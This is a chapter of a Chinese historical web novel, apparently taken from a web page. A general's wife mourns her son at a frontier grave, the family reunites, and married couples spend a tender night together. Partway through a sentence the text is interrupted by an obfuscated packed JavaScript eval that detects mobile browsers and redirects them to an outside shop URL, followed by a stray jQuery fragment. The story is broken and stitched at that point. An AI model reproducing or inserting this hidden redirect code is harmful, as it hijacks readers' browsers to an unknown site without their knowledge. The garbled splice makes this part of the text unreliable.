清川河畔，关山之上，英木苍苍。那成片的林木笔直地挺立在山坡上，树冠相连，遮天蔽日。在苍苍的英木下，长眠着保家卫国的宁国儿郎。
在西疆这一片广袤的草原上，在这个风沙漫天、烈日灼人、冬日苦寒的地方，可是这里的山上，一年四季都是阴阴苍木。尤其是这一座关山，树木像是被英魂滋养着，长得格外茂盛，枝叶间漏下的斜阳都带着一种温柔的绿意。
此时，无风，只有斜阳！
顾大夫人提着千层糕，一步一步，来到了这一排排的坟墓之前。她的脚步很轻，像是怕惊扰了那些长眠的人。
也许是有心灵感应，也许是四年来她在无数个夜里梦见过这个地方，冥冥中有人暗中为她指路——她的脚步几乎没有犹豫，在一座坟墓前停了下来。
那座坟与周围的坟没有什么不同，一样的土丘，一样的木碑，可她就是知道，是这里。她慢慢蹲下，将千层糕放在膝边，伸出手，轻轻抚摸着墓碑。
墓碑是用坚硬的木做的，西疆的风沙磨粗了它的表面，却磨不掉上面刻着的字——“顾承明”三个字，就非常明显，每一笔每一画都像是用刀刻在她心上。
她的嘴唇忍不住颤抖起来，那蓄积了一路的泪水，那憋了整整四年的泪水，这一刻终于决堤。
她趴在坟墓之上，双手抱住那方矮矮的土丘，失声痛哭起来。那哭声不是嚎啕，而是一种压抑了太久太久之后终于崩溃的哀恸，声音从喉咙深处被撕扯出来，穿过关山的英木，飘向清川河的波涛。
她的手抓着坟上的土，指缝里嵌满了沙砾和草根，像是想要穿透这层泥土，去摸一摸儿子的脸。
顾承宇和顾子衿就站在不远处。顾承宇一手扶着妹妹的肩膀，两人静静地看着母亲那悲痛得无法自抑的模样，眼里的泪水也一滴一滴地滑落。
顾子衿用手背擦着眼泪，擦了一遍又一遍，袖子都湿透了。此时此刻，他们不知道如何去安慰母亲——说什么都太轻了，做什么都太晚了。
兴许，唯有让母亲痛快地发泄出来，才能让她把心里蓄积了四年的悲痛、思念和愧疚，通通发泄出来。
顾承宇咬着牙，把脸别了过去，不让自己的抽泣声被听见。
顾大夫人哭了很久很久，哭得嗓子都哑了，声音变成了一缕气若游丝的低唤；发髻也乱了，碎发散落在脸颊边；衣裳也在地上跪出了褶皱和泥土。
她红肿着眼睛，用双手捧了几抔黄土，一抔一抔地盖在儿子的坟墓之上。她的动作极轻极慢，像是在给熟睡的儿子掖好被角，生怕惊扰了他的好梦。
随后，她打开那个油纸包，拿出千层糕，一层一层地摆在儿子的坟墓前，每一层都摆得端端正正。
她看着墓碑，声音沙哑而温柔，像是在和儿子拉家常：“明儿，娘来看你了。娘来晚了——四年了，娘现在才来看你。你不怪娘吧？”她刚说完话，本来刚刚还无风的墓地，突然吹起了一阵风。
那风很轻很柔，拂过她的脸颊，拂过她的发丝，吹得坟墓旁的树木叶子沙沙作响，像是在替谁回答。
顾大夫人抬起头，看着那些沙沙作响的树叶，脸上浮现出一抹含着泪的笑容。她伸出双手，像是要接住什么：“明儿，你是不是听到娘的话了？如果你听到了，就再把娘头顶上这棵树的叶子摇一摇，好吗？让娘再看一次，娘就知道你在这里。”
她的话音刚落，头顶上那棵树的叶子果然又摇晃了起来。不是风吹的——因为只有那一棵树在摇，而周围其他树木的叶子却纹丝不动，像是有一只看不见的手，正在轻轻拨动着那棵树的枝条。
她见了，一边流泪一边笑着，泪水顺着笑容的弧度淌进嘴角，咸咸的。她对着墓碑说道：“明儿，娘听到了，娘看到了。我的好明儿，我的好孩子——你没有怪娘，你一直都在等娘来看你。”
不远处的顾承宇和顾子衿看见了这不可思议的一幕，都瞪大了流着泪的眼睛。
顾子衿抓住哥哥的手臂，指甲陷进了他的铠甲里，声音发颤：“哥哥，你看到了吗——是二哥，二哥在回应母亲。”
不知何时，顾恩来到了女儿和儿子的背后。他的脚步极轻，像是一头行走在戈壁上的老狼，收敛了所有的杀气与锐气。他伸出双手，一左一右，搭在儿子和女儿的肩上。那双手厚重而粗糙，掌心满是老茧，是握了几十年战刀的手。
顾承宇和顾子衿回头，发现是父亲。那双素来坚毅沉静的眼睛里，此刻倒映着不远处那座矮坟和蹲在坟前的妻子，也倒映着四年来不曾说出口的悲痛。
兄妹二人眼里的悲伤，有一部分在看到父亲的那一刻化为了喜悦。顾恩看着英武挺拔的儿子，看着温婉而倔强的女儿，不言不语，只是将一儿一女紧紧搂在怀里。
可他将一双儿女搂在怀里时，那双眼睛，却始终看着不远处那个守在另一个儿子坟墓前的女人。他的妻子，他的孩子们的娘。
顾大夫人站起来，用手背擦了擦眼角，视线扫过儿子坟墓旁边那一座座墓碑——有的刻着名字，有的没有，有的写得工整，有的只是歪歪扭扭地描了几个字，一看就是同袍用刀尖匆忙刻下的。
她又把视线放到更远处，那一排排、一列列的坟墓，从山脚一直排到山腰，像是列队肃立的将士，永远地站成了一道沉默的防线。
她忽然想到——这一排排的坟墓，又是谁的儿子？谁的丈夫？谁的兄弟？谁的未亡人的心头血？她可以千里迢迢来到这里看望自己的儿子，可其他母亲呢？那些远在中原、远在江南、远在四面八方的母亲们，她们能来这里看望自己的儿子吗？她们甚至不知道自己的孩子埋在哪一座山下、哪一棵树旁。
想到此处，那刚刚止住的泪水再次夺眶而出。她站在儿子的坟前，为所有埋在这座山上的、无人来认的、有人日夜牵挂的孩子们，深深地鞠了一躬。
顾恩慢慢地走到她的身后。他的脚步踩在落叶上，发出轻微的沙沙声。她没有回头看，却已经感知到了丈夫的到来——那是十八年来刻进骨子里的默契，是风沙与烽火也磨不掉的熟悉。她轻声说：“夫君，刚才明儿跟我说话了。”
顾恩将一只手搭在爱妻的肩上，那力道很轻，却比任何拥抱都更沉。他的声音沙哑而低缓，像是在安慰她，也像是在安慰自己：“夫人，为夫知道。我都看到了——明儿是个好孩子，他从来都舍不得让你难过。”他顿了顿，抬头看了看天色，西疆的日头已经完全沉入了地平线，天边只剩最后一道暗紫色的余光，“天色黑下来了。为夫带你回去，好吗？”
顾大夫人微微侧过头，低声说：“可是我，已经没了力气了。”四年的悲痛，一日的爆发，耗尽了她所有的力气，她现在连站都快站不住了。
顾恩说：“我抱你回去。”
顾大夫人转过身，抬起头，认真地看着丈夫。篝火的光从山脚下隐隐传来，映在丈夫那张被风沙侵袭了多年的脸上——那脸上添了新的伤疤，眼角也多了几道深深的纹路，可那双眼睛，还是十八年前在花轿前掀开盖头时的那双眼睛，看向她时，依然有少年时的温柔。她的目光从丈夫的脸上滑到他的胸膛，然后轻轻地说了一个字：“好。”
随后，顾恩弯下腰，将妻子稳稳地抱了起来。她自然而然地靠进他的胸口，将头轻轻地倚在他的肩上，一只手搭在他的后背。他转身，迈开脚步，朝着驻地的方向走去。他的步伐不快，很稳。
顾承宇和顾子衿远远地跟在后面。夜色已经漫上来了，篝火在前方亮着。两人放慢了脚步，刻意拉开了距离。此时此刻，他们不想去打扰父亲和母亲——这对两年没有见的夫妻，有太多的话要说，也有太多的沉默需要彼此来填满。
驻地之中，篝火次第亮起。橘红色的火光映着将士们的脸，也映着那些粗糙的帐篷和飘扬的旌旗。伙头军正在大锅前忙活，炊烟混着马粪和干草的气息在营地上空飘荡。
顾典的军帐周围，静得不寻常。顾典的贴身随从阿牛早就悄悄撤走了军帐附近所有站岗放哨的士兵，他自己也跑到了很远的地方，背对着军帐，抱着膝盖坐在地上，耳朵里塞了两团碎布，抬头数着天上的星星。
军帐里，没有点燃烛火。只有月光从帐顶的缝隙里漏下来，在地面上铺了一层薄薄的银白。那铺了一地的，是凌乱的衣衫——铠甲、外袍、中衣、腰带，从帐门口一路散落到床边。
床上，顾典正在冲锋陷阵，顾二夫人在娇声喘息。两年未见的年轻夫妻，那身体如同干柴烈火，一碰便迅速燃烧。
这火一旦烧起来，短时间内绝不会熄灭。帐外远处站岗的哨兵们，不约而同地把目光投向了更远的地方，脸上带着心照不宣的笑意。
顾恩抱着妻子走进了自己的军帐。胡风早已识趣地把军帐周围的哨兵都撤走了，自己也跑到不远处的土坡上，背对着军帐坐下，手里拿了一根草茎叼在嘴里，开始认认真真地数蚂蚁。
军帐里被胡风收拾得干干净净——被褥是新晒过的，带着阳光的味道；桌上摆着几碟子简单的饭菜，还冒着微弱的余温；角落里点了一盏油灯，火苗在铜盘里安静地燃着。顾恩把妻子放在桌前的凳子上，温声道：“先吃饭。”
顾大夫人看着饭菜——一碟子酱牛肉，一碗热汤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618725|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，还有几个白面馒头。即便是没有胃口，她还是拿起筷子吃了起来。她吃得很慢，每一口都嚼了又嚼才咽下去。
而顾恩则离开了军帐，来到了不远处那条从清川河引来的溪流边。他脱掉了铠甲，褪去了衣衫，走进了冰凉的河水中，破天荒地仔细洗了个澡。
月光洒在水面上，碎成一片片银鳞。西疆戍边的男人从不在意这些，可今晚不一样——他要洗掉一身的汗臭和血腥，洗掉两年来所有的疲惫和风尘，干干净净地回到她身边。
军帐里的顾大夫人，吃完了饭后，用水将身体仔细地擦洗干净——那是胡风提前备好的热水，兑好了凉水调到恰好温热的温度。
她换上一件从京城带来的白色睡袍，把长发也从发髻里散开，披散在背上。
然后她坐在床沿上，拿起丈夫脱下的那件中衣，就着灯下，开始替他缝补肩头的一道裂口。她虽然已三十五岁，本就模样极好，除了因为儿子去世眼角多了几丝细纹，加之她皮肤白，在灯下看起来依然清秀温婉。
她缝衣衫的姿态安静而专注，仿佛时光倒流回了十八年前，她还是那个刚嫁给他的新妇，坐在灯下给他补衣裳，等他下值回家。
把自己洗干净了的顾恩，掀开帐帘走了进来。他的头发还滴着水，衣襟松松地敞着，身上带着河水清凉的气息。
他站在门边，看着烛火下正在给自己补衣衫的妻子——她低着头，长发垂在肩侧，白色的睡袍在烛光里泛着柔光，手指捏着针线一起一落。他突然觉得好温暖。
在这座满是风沙和刀兵的边关，在这座他守了三十几年以为早已不需要温度的地方，这一点烛火、一个缝衣的女人，就把他所有的坚硬都融化了。
顾大夫人依旧没有抬头，可她知道丈夫就站在门边。她从灯火的晃动、从空气里那熟悉的皂角味和河水味、从十八年的默契里感知到了。她没有抬眼，只是一边继续缝着最后一针一边说道：“站在那里做什么，我又不是老虎，还能把你吃了不成。快过来坐下。”
顾恩听了，嘴角微微扬起。他伸手把军帐的门关严实了，走到妻子面前，站定。他高大的身影挡住了烛火，把她整个人笼罩在阴影里。
顾大夫人依旧没有抬头，只是手中的针线快了几分，迅速地把最后一道口子缝补完，针脚细密扎实。她低下头，用牙齿咬断了线头，打了一个结。
这才将衣衫抖了抖展平，站起身来，一双眼睛终于对上了丈夫的目光。
她先褪去丈夫身上的铠甲——肩甲、胸甲、护腕，一件一件地解开来叠在床头；然后褪去丈夫贴身的旧中衣，把那件刚缝好的、还带着她指尖余温的衣衫给他穿上。
她双手绕过他的腰间，为他系好衣带，动作轻柔而仔细，指尖在他的腰侧顿了顿。然后她才抬起头，认认真真地看着丈夫的眼睛，烛火在她眼底跳动。
她的声音很轻，却很坚定，带着三十五岁女人特有的从容和勇气：“我虽已三十五了，可我还想——夫君能够再给我一个孩子。这是母亲临行前的交代，也是我自己心里的话。”
顾恩紧紧抓住夫人的手，她的手在他粗糙的掌心里显得格外纤细柔软。他低下头，额头抵着她的额头，目光笔直地望进她的眼底，声音低沉而温柔：“夫人，为夫也正有此意。而且我刚才还特地去河边洗了个澡，把身上都洗干净了——我知道你爱干净。”
顾大夫人抬起头，看着丈夫那张近在咫尺的脸，眼神里满是温柔，嘴角浮起一抹连她自己都没有察觉的笑意。她的手抚上丈夫的胸口，隔着那件刚缝好的衣衫感受着他的心跳：“闻惯了你的汗臭味、脚气味，你突然洗干净了，我还不习惯呢。不过——干净些也好，以后在京城，我可以给夫君多洗几件衣裳，慢慢就习惯了。”
顾恩没有再说话。他一把将妻子抱起，轻轻地放在床榻上。床榻上的被褥是新晒过的，松软而温暖，带着西疆阳光的味道。他自己也压在了妻子的身上，手掌撑在她耳侧，低头看着身下这张他爱了十八年的脸。
烛火摇曳着，将两个人的影子投在帐壁上，忽长忽短，忽明忽暗。屋里流淌着夫妻之间温柔的呢喃，那是战场上淬过生死的人，最懂得珍惜的温度。
顾承宇、顾子衿和林太医坐在伙房的火堆旁，正吃着晚饭。
顾子衿端着碗，眼睛却不时往营帐的方向瞥，嘴角微微上扬；顾承宇低头扒饭，假装什么都没注意到；林太医喝了一口热汤，抬头看了看营地中央那两顶离得很远的军帐，又看了看面前这两个努力装作若无其事的少年，轻轻摇了摇头，嘴角的胡子微微翘起，什么也没说。